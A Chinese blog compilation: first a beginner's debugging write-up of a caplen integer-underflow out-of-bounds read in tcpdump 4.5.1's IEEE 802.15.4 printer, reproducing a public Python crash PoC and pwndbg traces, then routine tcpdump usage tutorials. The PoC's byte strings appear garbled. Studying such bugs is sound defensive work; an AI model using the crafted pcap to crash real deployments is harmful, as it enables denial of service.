标签：tcpdump

第一次做漏洞分析，有什么错误的地方欢迎各位提出

分析环境

• ubuntu16.04 x86_64

• gdb with pwndbg

• tcpdump 4.5.1

• poc

编译安装tcpdump

$ sudo apt-get install libpcap-dev
$ dpkg -l libpcap-dev
$ wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ cd tcpdump-4.5.1/
$ ./configure
$ make
$ sudo make install

利用poc生成pcap文件

poc：

from subprocess import call
from shlex import split
from time import sleep
def crash():
    command = 'tcpdump -r crash'
    buffer     =   'xd4xc3xb2xa1x02x00x04x00x00x00x00xf5xff'
    buffer     +=  'x00x00x00Ix00x00x00xe6x00x00x00x00x80x00'
    buffer     +=  'x00x00x00x00x00x08x00x00x00x00<x9c7@xffx00'
    buffer     +=  'x06xa0rx7fx00x00x01x7fx00x00xecx00x01xe0x1a'
    buffer     +=  "x00x17g+++++++x85xc9x03x00x00x00x10xa0&x80x18'"
    buffer     +=  "xfe$x00x01x00x00@x0cx04x02x08n', 'x00x00x00x00"
    buffer     +=  'x00x00x00x00x01x03x03x04'
    with open('crash', 'w+b') as file:
        file.write(buffer)
    try:
        call(split(command))
        print("Exploit successful!             ")
    except:
        print("Error: Something has gone wrong!")
def main():
    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")
    sleep(2)
    crash()
if __name__ == "__main__":
    main()

调试

读入生成的pcap文件，并运行

Program received signal SIGSEGV, Segmentation fault.

hex_and_ascii_print_with_offset (ident=0x47fe57 "nt", cp=0x843000 <error: Cannot access memory at address 0x843000>, length=4294967283, oset=133744) at ./print-ascii.c:91

91    s2 = *cp++;

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

───────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────
 RAX  0x2e
 RBX  0x2e
 RCX  0x0
 RDX  0x7ffff79425e0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 RDI  0x7fffffffcf90 ◂— 0x3030203030303020 (' 0000 00')
 RSI  0x0
 R8   0x5a5a5a5a5a5a5a5a ('ZZZZZZZZ')
 R9   0x0
 R10  0x1
 R11  0x0
 R12  0x843001
 R13  0x7fffffffcfa9 ◂— 0x3030203030303000
 R14  0x5
 R15  0x7fffffffcfca ◂— 0x2e2e2e2e2e2e /* '......' */
 RBP  0x2e
 RSP  0x7fffffffcf70 ◂— 0x0
 RIP  0x40c8b7 (hex_and_ascii_print_with_offset+103) ◂— movzx  ebx, byte ptr [r12 - 1]
────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────

 ► 0x40c8b7 <hex_and_ascii_print_with_offset+103>    movzx  ebx, byte ptr [r12 - 1]
   0x40c8bd <hex_and_ascii_print_with_offset+109>    mov    rax, r13
   0x40c8c0 <hex_and_ascii_print_with_offset+112>    mov    esi, 0x29
   0x40c8c5 <hex_and_ascii_print_with_offset+117>    sub    rax, rdi
   0x40c8c8 <hex_and_ascii_print_with_offset+120>    sub    rsp, 8
   0x40c8cc <hex_and_ascii_print_with_offset+124>    mov    r8d, 0x473d00
   0x40c8d2 <hex_and_ascii_print_with_offset+130>    sub    rsi, rax
   0x40c8d5 <hex_and_ascii_print_with_offset+133>    mov    ecx, 0x29
   0x40c8da <hex_and_ascii_print_with_offset+138>    mov    edx, 1
   0x40c8df <hex_and_ascii_print_with_offset+143>    mov    rdi, r13
   0x40c8e2 <hex_and_ascii_print_with_offset+146>    mov    ebp, r9d
─────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-ascii.c
   86 nshorts = length / sizeof(u_short);
   87 i = 0;
   88 hsp = hexstuff; asp = asciistuff;
   89 while (--nshorts >= 0) {
   90 s1 = *cp++;
 ► 91 s2 = *cp++;
   92 (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
   93     " %02x%02x", s1, s2);
   94 hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
   95 *(asp++) = (isgraph(s1) ? s1 : '.');
   96 *(asp++) = (isgraph(s2) ? s2 : '.');
─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp    0x7fffffffcf70 ◂— 0x0
01:0008│        0x7fffffffcf78 ◂— 0x100822577
02:0010│        0x7fffffffcf80 —▸ 0x47fe57 ◂— or     cl, byte ptr [rcx] /* 'nt' */
03:0018│        0x7fffffffcf88 ◂— 0xfffffff300020a70
04:0020│ rdi    0x7fffffffcf90 ◂— 0x3030203030303020 (' 0000 00')
05:0028│        0x7fffffffcf98 ◂— 0x2030303030203030 ('00 0000 ')
06:0030│        0x7fffffffcfa0 ◂— '0000 0000'
07:0038│ r13-1  0x7fffffffcfa8 ◂— 0x3020303030300030 /* '0' */

从崩溃信息来看，问题出现在print-ascii.c文件中，访问到了一个不允许访问的地址。再结合源码信息可知，指针cp在自加的过程中访问到了一个没有权限访问的地址，因为这是写在一个while循环里，也就是是说nshorts的值偏大，再看nshorts怎么来的，由此nshorts = length / sizeof(u_short);可知，可能是函数传入的参数length没有控制大小导致，因此目标就是追踪length是如何传入的。

通过bt回溯一下调用情况

pwndbg> bt
#0  hex_and_ascii_print_with_offset (ident=0x47fe57 "nt", cp=0x843000 <error: Cannot access memory at address 0x843000>, length=4294967283, oset=133744) at ./print-ascii.c:91
#1  0x000000000040aa7d in ieee802_15_4_if_print (ndo=0x820140 <Gndo>, h=<optimized out>, p=<optimized out>) at ./print-802_15_4.c:180
#2  0x000000000045bb9f in print_packet (user=0x7fffffffd2e0 "@01202", h=0x7fffffffd1d0, sp=0x822570 "@377") at ./tcpdump.c:1950
#3  0x00007ffff7bb3ac4 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#4  0x00007ffff7ba41cf in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#5  0x0000000000403f27 in main (argc=argc@entry=3, argv=argv@entry=0x7fffffffe548) at ./tcpdump.c:1569
#6  0x00007ffff77eb830 in __libc_start_main (main=0x4030e0 <main>, argc=3, argv=0x7fffffffe548, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe538) at ../csu/libc-start.c:291
#7  0x0000000000404cd9 in _start ()

追踪一下从main函数开始，每个函数的执行流程

pcap_loop()

► 0x403f22 <main+3650>    call   pcap_loop@plt <0x4027a0>
        rdi: 0x8222c0 —▸ 0x7ffff7bb3a40 ◂— push   r15
        rsi: 0xffffffff
        rdx: 0x45bb50 (print_packet) ◂— push   r12
        rcx: 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0

在跟进pcap_loop()函数的过程中，遇到一处call，步入看看

► 0x7ffff7ba41ca <pcap_loop+42>    call   0x7ffff7bb3a40

来到了bpf_filter函数，注意第三个参数就是我们传入crash数据包的len,然而到后面发现，其实与这个值无关

► 0x7ffff7bb3aa9    call   bpf_filter <0x7ffff7bba870>
        rdi: 0x825c30 ◂— 0x4900000006
        rsi: 0x822570 ◂— 0x7f72a00600ff40
        rdx: 0x379c3c00
        rcx: 0x8

pcap数据包内关键结构体

struct pcap_pkthdr {
        struct timeval ts;      /* time stamp */
        bpf_u_int32 caplen;     /* length of portion present */
        bpf_u_int32 len;        /* length this packet (off wire) */
};
 ts：    抓取时间
 caplen：4字节 保存下来的包长度
 len：   4字节 数据包的真实长度

使用010editer可以很容易的分析这个结构体

捕获.PNG

紧接着来到另一处函数调用

────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
   0x7ffff7bb3ab0    je     0x7ffff7bb3ace
   0x7ffff7bb3ab2    add    ebp, 1
   0x7ffff7bb3ab5    mov    rdx, qword ptr [rsp + 0x18]
   0x7ffff7bb3aba    mov    rsi, r12
   0x7ffff7bb3abd    mov    rdi, qword ptr [rsp]
 ► 0x7ffff7bb3ac1    call   r15 <0x45bb50>
        rdi: 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
        rsi: 0x7fffffffcac0 ◂— 0x8000
        rdx: 0x822570 ◂— 0x7f72a00600ff40
   0x7ffff7bb3ac4    cmp    ebp, r14d
   0x7ffff7bb3ac7    jl     0x7ffff7bb3ace
   0x7ffff7bb3ac9    test   r14d, r14d
   0x7ffff7bb3acc    jg     0x7ffff7bb3b30
   0x7ffff7bb3ace    mov    eax, dword ptr [rbx + 0x34]

跟进去以后

► 0x45bb73 <print_packet+35>    mov    eax, dword ptr [rbx + 0x10]
   0x45bb76 <print_packet+38>    mov    rdx, qword ptr [rip + 0x26c2db] <0x6c7e58>
   0x45bb7d <print_packet+45>    add    rax, rbp
   0x45bb80 <print_packet+48>    mov    qword ptr [rdx + 0xe0], rax
   0x45bb87 <print_packet+55>    mov    edx, dword ptr [r12 + 0x10]
   0x45bb8c <print_packet+60>    test   edx, edx
───────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────
In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
   1942 /*
   1943 * Some printers want to check that they're not walking off the
   1944 * end of the packet.
   1945 * Rather than pass it all the way down, we set this global.
   1946 */
 ► 1947 snapend = sp + h->caplen;
   1948 
   1949         if(print_info->ndo_type) {
   1950                 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
   1951         } else {
   1952                 hdrlen = (*print_info->p.printer)(h, sp);

首先把caplen(vlaue = 8)传进来

来到下面这个地方

───────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────

   0x45bb8c <print_packet+60>    test   edx, edx
   0x45bb8e <print_packet+62>    je     print_packet+168 <0x45bbf8>
   0x45bb90 <print_packet+64>    mov    rdx, rbp
   0x45bb93 <print_packet+67>    mov    rsi, rbx
   0x45bb96 <print_packet+70>    mov    rdi, qword ptr [r12]
 ► 0x45bb9a <print_packet+74>    call   qword ptr [r12 + 8] <0x40a8c0>
   0x45bb9f <print_packet+79>    mov    rdx, qword ptr [rip + 0x26c2b2] <0x6c7e58>
   0x45bba6 <print_packet+86>    mov    ecx, dword ptr [rdx + 0x40]
   0x45bba9 <print_packet+89>    test   ecx, ecx
   0x45bbab <print_packet+91>    je     print_packet+193 <0x45bc11>
   0x45bbad <print_packet+93>    cmp    ecx, 1

───────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────

In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
   1945 * Rather than pass it all the way down, we set this global.
   1946 */
   1947 snapend = sp + h->caplen;
   1948 
   1949         if(print_info->ndo_type) {
 ► 1950                 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
   1951         } else {
   1952                 hdrlen = (*print_info->p.printer)(h, sp);
   1953         }
   1954                 
   1955 if (Xflag) {

程序call了一个函数，这个函数就是函数，这个函数定义在print-802_15_4.c中，

u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
                      const struct pcap_pkthdr *h, const u_char *p)
{
printf("address : %xn",p);
u_int caplen = h->caplen; //传入的caplen，赋值给无符号整形变量caplen,且该值为8
int hdrlen;
u_int16_t fc;
u_int8_t seq;
if (caplen < 3) {  //不满足
ND_PRINT((ndo, "[|802.15.4] %x", caplen));
return caplen;
}
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);
seq = EXTRACT_LE_8BITS(p + 2);
p += 3;
caplen -= 3;//此时caplen = 5
ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
if (vflag)
ND_PRINT((ndo,"seq %02x ", seq));
if (hdrlen == -1) {
ND_PRINT((ndo,"malformed! "));
return caplen;
}
if (!vflag) {
p+= hdrlen;
caplen -= hdrlen;
} else {
u_int16_t panid = 0;
switch ((fc >> 10) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved destination addressing mode"));
return 0;
case 0x02:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
p += 8;
break;
}
ND_PRINT((ndo,"< ");
switch ((fc >> 14) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved source addressing mode"));
return 0;
case 0x02:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
                        ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
p += 8;
break;
}
caplen -= hdrlen;
}

传入的第二个值是struct pcap_pkthdr *h结构体，函数使用的参数caplen就是结构体中的caplen,上面代码中也已经标注一部分，对于caplen操作的关键代码在第10行开始的，直接上面看这些代码对我我这样的新人来说，有些懵~，但是也不难看出，caplen进行一些加减操作后，没有判断正负，直接丢给了下一个函数使用。

直接跟进函数，看看最后赋值情况

───────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────

   0x40aa63 <ieee802_15_4_if_print+419>    test   esi, esi
   0x40aa65 <ieee802_15_4_if_print+421>    jne    ieee802_15_4_if_print+137 <0x40a949>
   0x40aa6b <ieee802_15_4_if_print+427>    mov    dword ptr [rsp + 0xc], eax
   0x40aa6f <ieee802_15_4_if_print+431>    mov    rsi, qword ptr [rsp]
   0x40aa73 <ieee802_15_4_if_print+435>    mov    rdi, r15
 ► 0x40aa76 <ieee802_15_4_if_print+438>    call   qword ptr [r15 + 0xf0] <0x45b270>
        rdi: 0x820140 (Gndo) ◂— 0x0
        rsi: 0x822585 ◂— 0x0
        rdx: 0xfffffff3
        rcx: 0x7fffffeb
   0x40aa7d <ieee802_15_4_if_print+445>    mov    eax, dword ptr [rsp + 0xc]
   0x40aa81 <ieee802_15_4_if_print+449>    add    rsp, 0x18
   0x40aa85 <ieee802_15_4_if_print+453>    pop    rbx
   0x40aa86 <ieee802_15_4_if_print+454>    pop    rbp
   0x40aa87 <ieee802_15_4_if_print+455>    pop    r12

再次调用另一个函数地址为，此时传入的第三个参数即caplen已经变成一个很大的值0xfffffff3

pwndbg> x/2i 0x45b270
   0x45b270 <ndo_default_print>:    mov    edi,0x47fe57
   0x45b275 <ndo_default_print+5>:    jmp    0x40ca80 <hex_and_ascii_print>

可知该函数会继续跳转执行函数，继续跟进去

► 0x45b275 <ndo_default_print+5>                   jmp    hex_and_ascii_print <0x40ca80>
    ↓
   0x40ca80 <hex_and_ascii_print>                   xor    ecx, ecx
   0x40ca82 <hex_and_ascii_print+2>                 jmp    hex_and_ascii_print_with_offset <0x40c850>

最终来到了hex_and_ascii_print_with_offset 函数，也是我们回溯调用的时候的最后一个函数

────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────────
 RAX  0x7ffffff9
 RBX  0xfffffff3
 RCX  0x0
 RDX  0xfffffff3
 RDI  0x47fe57 ◂— or     cl, byte ptr [rcx] /* 'nt' */
 RSI  0x822585 ◂— 0x0
 R8   0x0
 R9   0x1c
 R10  0x6
 R11  0x470fc9 ◂— 0x41006e6f63616542 /* 'Beacon' */
 R12  0x12
 R13  0x822570 ◂— 0x7f72a00600ff40
 R14  0x3
 R15  0x820140 (Gndo) ◂— 0x0
 RBP  0xff40
 RSP  0x7fffffffca08 ◂— 0x12
 RIP  0x40c85c (hex_and_ascii_print_with_offset+12) ◂— push   rbp
───────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────
   0x40c852 <hex_and_ascii_print_with_offset+2>     mov    eax, edx
   0x40c854 <hex_and_ascii_print_with_offset+4>     push   r14
   0x40c856 <hex_and_ascii_print_with_offset+6>     push   r13
   0x40c858 <hex_and_ascii_print_with_offset+8>     push   r12
   0x40c85a <hex_and_ascii_print_with_offset+10>    shr    eax, 1
 ► 0x40c85c <hex_and_ascii_print_with_offset+12>    push   rbp
   0x40c85d <hex_and_ascii_print_with_offset+13>    push   rbx
   0x40c85e <hex_and_ascii_print_with_offset+14>    lea    rax, [rsi + rax*2]
   0x40c862 <hex_and_ascii_print_with_offset+18>    mov    r12, rsi
   0x40c865 <hex_and_ascii_print_with_offset+21>    xor    r14d, r14d
   0x40c868 <hex_and_ascii_print_with_offset+24>    sub    rsp, 0x198

对应的的c如下

nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
s1 = *cp++;
s2 = *cp++;

除法以后，nshorts的值仍然很大，导致进行了过多的循环，使指针访问到了不可访问内存

思考
那么caplen这个值需要多大才可以呢？

In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-802_15_4.c
   109 
   110 seq = EXTRACT_LE_8BITS(p + 2);
   111 
   112 p += 3;
   113 caplen -= 3;
 ► 114 
   115 ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
   116 if (vflag)
   117 ND_PRINT((ndo,"seq %02x ", seq));
   118 if (hdrlen == -1) {
   119 ND_PRINT((ndo,"malformed! "));

───────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────

00:0000│ rsp  0x7fffffffca30 —▸ 0x822573 ◂— 0xb8fb78007f72a006
01:0008│      0x7fffffffca38 —▸ 0x822570 ◂— 0x7f72a00600ff40
02:0010│      0x7fffffffca40 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
03:0018│      0x7fffffffca48 —▸ 0x7fffffffcac0 ◂— 0x8000
04:0020│      0x7fffffffca50 —▸ 0x822570 ◂— 0x7f72a00600ff40
05:0028│      0x7fffffffca58 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
06:0030│      0x7fffffffca60 —▸ 0x7fffffffcab8 —▸ 0x822570 ◂— 0x7f72a00600ff40
07:0038│      0x7fffffffca68 ◂— 0xffffffff

─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────

 ► f 0           40aa2a ieee802_15_4_if_print+362
   f 1           45bb9f print_packet+79
   f 2     7ffff7bb3ac4
   f 3     7ffff7ba41cf pcap_loop+47
   f 4           403f27 main+3655
   f 5     7ffff77eb830 __libc_start_main+240
pwndbg> p caplen 
$4 = 5

此时的caplen为5

124 if (!vflag) {
 ► 125 p+= hdrlen;
   126 caplen -= hdrlen;
   127 } else {
   128 u_int16_t panid = 0;
//经调试，没有进入这个条件，所以caplen没变

   177 caplen -= hdrlen;

   178                 printf("caplen : %dn",caplen);

 ► 179 }

   180     printf("after : %pn",p);

   181 if (!suppress_default_print)

   182 (ndo->ndo_default_print)(ndo, p, caplen);

   183 

   184 return 0;

───────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────

00:0000│ rsp  0x7fffffffca30 —▸ 0x822585 ◂— 0x0

01:0008│      0x7fffffffca38 —▸ 0x822570 ◂— 0x7f72a00600ff40

02:0010│      0x7fffffffca40 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0

03:0018│      0x7fffffffca48 —▸ 0x7fffffffcac0 ◂— 0x8000

04:0020│      0x7fffffffca50 —▸ 0x822570 ◂— 0x7f72a00600ff40

05:0028│      0x7fffffffca58 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0

06:0030│      0x7fffffffca60 —▸ 0x7fffffffcab8 —▸ 0x822570 ◂— 0x7f72a00600ff40

07:0038│      0x7fffffffca68 ◂— 0xffffffff

─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────

 ► f 0           40aa5b ieee802_15_4_if_print+411

   f 1           45bb9f print_packet+79

   f 2     7ffff7bb3ac4

   f 3     7ffff7ba41cf pcap_loop+47

   f 4           403f27 main+3655

   f 5     7ffff77eb830 __libc_start_main+240

pwndbg> p caplen 

$13 = 4294967283

最后 caplen这个值为-13，所以，caplen值最小为13+5+3=21 = 0x15

将数据包内的caplen字段修改成0x21以后没有再发生指针越界，此时的caplen为0，与len字段无关，甚至修改为0都可以。

pwndbg> run -r crash
Starting program: /usr/local/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
17:06:08.000000 IEEE 802.15.4 Beacon packet 
0x0000:  2b2b 2b2b 2b2b 2b85 c903 0000            +++++++.....
tcpdump: pcap_loop: bogus savefile header
[Inferior 1 (process 122683) exited with code 01]

tcpdump常用参数说明

（一）、学习tcpdump的5个参数 初次使用tcpdump时，使用tcpdump -h命令可以看到它有数十个参数。

根据我们在运维工作中的经验，掌握tcpdump以下5个参数即可满足大部分的工作需要了。

❶-i参数。使用-i参数指定需要抓包的网卡。如果未指定的话，tcpdump会根据搜索到的系统中状态为UP的最小数字的网卡确定，一般情况下是eth0。使用-i参数通过指定需要抓包的网卡，可以有效的减少抓取到的数据包的数量，增加抓包的针对性，便于后续的分析工作。

❷-nnn参数。使用-nnn参数禁用tcpdump展示时把IP、端口等转换为域名、端口对应的知名服务名称。这样看起来更加清晰。

❸-s参数。使用-s参数，指定抓包的包大小。使用-s 0指定数据包大小为262144字节，可以使得抓到的数据包不被截断，完整反映数据包的内容。

❹-c参数。使用-c参数，指定抓包的数量。

❺-w参数。使用-w参数指定抓包文件保存到文件，以便后续使用Wireshark等工具进行分析。

（二）、学习tcpdump的过滤器 tcpdump提供了丰富的过滤器，以支持抓包时的精细化控制，达到减少无效信息干扰的效果。我们常用的过滤器规则有下面几个： ❶host a.b.c.d：指定仅抓取本机和某主机a.b.c.d的数据通信。

❷tcp port x：指定仅抓取TCP协议目的端口或者源端口为x的数据通信。

❸icmp：指定仅抓取ICMP协议的数据通信。

❹!：反向匹配，例如port ! 22，抓取非22端口的数据通信。 以上几种过滤器规则，可以使用and或者or进行组合，例如： host a.b.c.d and tcp port x：则只抓取本机和某主机a.b.c.d之间基于TCP的目的端口或者源端口为x的数据通信。 tcp port x or icmp：则抓取TCP协议目的端口或者源端口为x的数据通信或者ICMP协议的数据通信。

（三）、实例：

下面的例子全是以抓取eth0接口为例，如果不加”-i eth0”是表示抓取所有的接口包括lo。

1、抓取包含10.10.10.122的数据包

# tcpdump -i eth0 -vnn host 10.10.10.122

2、抓取包含10.10.10.0/24网段的数据包

# tcpdump -i eth0 -vnn net 10.10.10.0/24

3、抓取包含端口22的数据包

# tcpdump -i eth0 -vnn port 22

4、抓取udp协议的数据包

# tcpdump -i eth0 -vnn  udp

5、抓取icmp协议的数据包

# tcpdump -i eth0 -vnn icmp

6、抓取arp协议的数据包

# tcpdump -i eth0 -vnn arp

7、抓取ip协议的数据包

# tcpdump -i eth0 -vnn ip

8、抓取源ip是10.10.10.122数据包。

# tcpdump -i eth0 -vnn src host 10.10.10.122

9、抓取目的ip是10.10.10.122数据包

# tcpdump -i eth0 -vnn dst host 10.10.10.122

10、抓取源端口是22的数据包

# tcpdump -i eth0 -vnn src port 22

11、抓取源ip是10.10.10.253且目的ip是22的数据包

# tcpdump -i eth0 -vnn src host 10.10.10.253 and dst port 22

12、抓取源ip是10.10.10.122或者包含端口是22的数据包

# tcpdump -i eth0 -vnn src host 10.10.10.122 or port 22

13、抓取源ip是10.10.10.122且端口不是22的数据包

[root@ ftp]# tcpdump -i eth0 -vnn src host 10.10.10.122 and not port 22

14、抓取源ip是10.10.10.2且目的端口是22，或源ip是10.10.10.65且目的端口是80的数据包。

# tcpdump -i eth0 -vnn ( src host 10.10.10.2 and dst port 22 ) or   ( src host 10.10.10.65 and dst port 80 )

15、抓取源ip是10.10.10.59且目的端口是22，或源ip是10.10.10.68且目的端口是80的数据包。

[root@localhost ~]# tcpdump -i  eth0 -vnn 'src host 10.10.10.59 and dst port 22' or  ' src host 10.10.10.68 and dst port 80 '

16、把抓取的数据包记录存到/tmp/fill文件中，当抓取100个数据包后就退出程序。

# tcpdump –i eth0 -vnn -w  /tmp/fil1 -c 100

17、从/tmp/fill记录中读取tcp协议的数据包

# tcpdump –i eth0 -vnn -r  /tmp/fil1 tcp

18、从/tmp/fill记录中读取包含10.10.10.58的数据包

# tcpdump –i eth0 -vnn -r  /tmp/fil1 host  10.10.10.58

tcpdump 是一个很常用的网络包分析工具，可以用来显示通过网络传输到本系统的 TCP/IP 以及其他网络的数据包。tcpdump 使用 libpcap 库来抓取网络报，这个库在几乎在所有的 Linux/Unix 中都有。

tcpdump 可以从网卡或之前创建的数据包文件中读取内容，也可以将包写入文件中以供后续使用。必须是 root 用户或者使用 sudo 特权来运行 tcpdump。

在本文中，我们将会通过一些实例来演示如何使用 tcpdump 命令，但首先让我们来看看在各种 Linux 操作系统中是如何安装 tcpdump 的。

推荐阅读：使用 iftop 命令监控网络带宽

安装

tcpdump 默认在几乎所有的 Linux 发行版中都可用，但若你的 Linux 上没有的话，使用下面方法进行安装。

CentOS/RHEL

使用下面命令在 CentOS 和 RHEL 上安装 tcpdump，

$ sudo yum install tcpdump*

Fedora

使用下面命令在 Fedora 上安装 tcpdump：

$ dnf install tcpdump

Ubuntu/Debian/Linux Mint

在 Ubuntu/Debain/Linux Mint 上使用下面命令安装 tcpdump：

$ apt-get install tcpdump

安装好 tcpdump 后，现在来看一些例子。

案例演示

从所有网卡中捕获数据包

运行下面命令来从所有网卡中捕获数据包：

$ tcpdump -i any

从指定网卡中捕获数据包

要从指定网卡中捕获数据包，运行：

$ tcpdump -i eth0

将捕获的包写入文件

使用 -w 选项将所有捕获的包写入文件：

$ tcpdump -i eth1 -w packets_file

读取之前产生的 tcpdump 文件

使用下面命令从之前创建的 tcpdump 文件中读取内容：

$ tcpdump -r packets_file

获取更多的包信息，并且以可读的形式显示时间戳

要获取更多的包信息同时以可读的形式显示时间戳，使用：

$ tcpdump -ttttnnvvS

查看整个网络的数据包

要获取整个网络的数据包，在终端执行下面命令：

$ tcpdump net 192.168.1.0/24

根据 IP 地址查看报文

要获取指定 IP 的数据包，不管是作为源地址还是目的地址，使用下面命令：

$ tcpdump host 192.168.1.100

要指定 IP 地址是源地址或是目的地址则使用：

$ tcpdump src 192.168.1.100
$ tcpdump dst 192.168.1.100

查看某个协议或端口号的数据包

要查看某个协议的数据包，运行下面命令：

$ tcpdump ssh

要捕获某个端口或一个范围的数据包，使用：

$ tcpdump port 22
$ tcpdump portrange 22-125

我们也可以与 src 和 dst 选项连用来捕获指定源端口或指定目的端口的报文。

我们还可以使用“与” （and，&&）、“或” （or，|| ) 和“非”（not，!） 来将两个条件组合起来。当我们需要基于某些条件来分析网络报文是非常有用。

使用“与”

可以使用 and 或者符号 && 来将两个或多个条件组合起来。比如：

$ tcpdump src 192.168.1.100 && port 22 -w ssh_packets

使用“或”

“或”会检查是否匹配命令所列条件中的其中一条，像这样：

$ tcpdump src 192.168.1.100 or dst 192.168.1.50 && port 22 -w ssh_packets
$ tcpdump port 443 or 80 -w http_packets

使用“非”

当我们想表达不匹配某项条件时可以使用“非”，像这样：

$ tcpdump -i eth0 src port not 22

这会捕获 eth0 上除了 22 号端口的所有通讯。

我们的教程至此就结束了，在本教程中我们讲解了如何安装并使用 tcpdump 来捕获网络数据包。

网络数据采集分析工具TcpDump的简介

　　顾名思义，TcpDump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息。tcpdump就是一种免费的网络分析工具，尤其其提供了源代码，公开了接口，因此具备很强的可扩展性，对于网络维护和入侵者都是非常有用的工具。tcpdump存在于基本的FreeBSD系统中，由于它需要将网络界面设置为混杂模式，普通用户不能正常执行，但具备root权限的用户可以直接执行它来获取网络上的信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。

　　我们用尽量简单的话来定义tcpdump，就是：dump the traffice on a network.，根据使用者的定义对网络上的数据包进行截获的包分析工具。作为互联网上经典的的系统管理员必备工具，tcpdump以其强大的功能，灵活的截取策略，成为每个高级的系统管理员分析网络，排查问题等所必备的东西之一。tcpdump提供了源代码，公开了接口，因此具备很强的可扩展性，对于网络维护和入侵者都是非常有用的工具。tcpdump存在于基本的FreeBSD系统中，由于它需要将网络界面设置为混杂模式，普通用户不能正常执行，但具备root权限的用户可以直接执行它来获取网络上的信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。

网络数据采集分析工具TcpDump的使用

普通情况下，直接启动tcpdump将监视第一个网络界面上所有流过的数据包。

# tcpdump tcpdump: listening on fxp011:58:47.873028 202.102.245.40.netbios-ns > 202.102.245.127.netbios-ns: udp 5011:58:47.974331 0:10:7b:8:3a:56 > 1:80:c2:0:0:0 802.1d ui/C len=43 0000 0000 0080 0000 1007 cf08 0900 0000 0e80 0000 902b 4695 0980 8701 0014 0002 000f 0000 902b 4695 0008 0011:58:48.373134 0:0:e8:5b:6d:85 > Broadcast sap e0 ui/C len=97 ffff 0060 0004 ffff ffff ffff ffff ffff 0452 ffff ffff 0000 e85b 6d85 4008 0002 0640 4d41 5354 4552 5f57 4542 0000 0000 0000 00^C

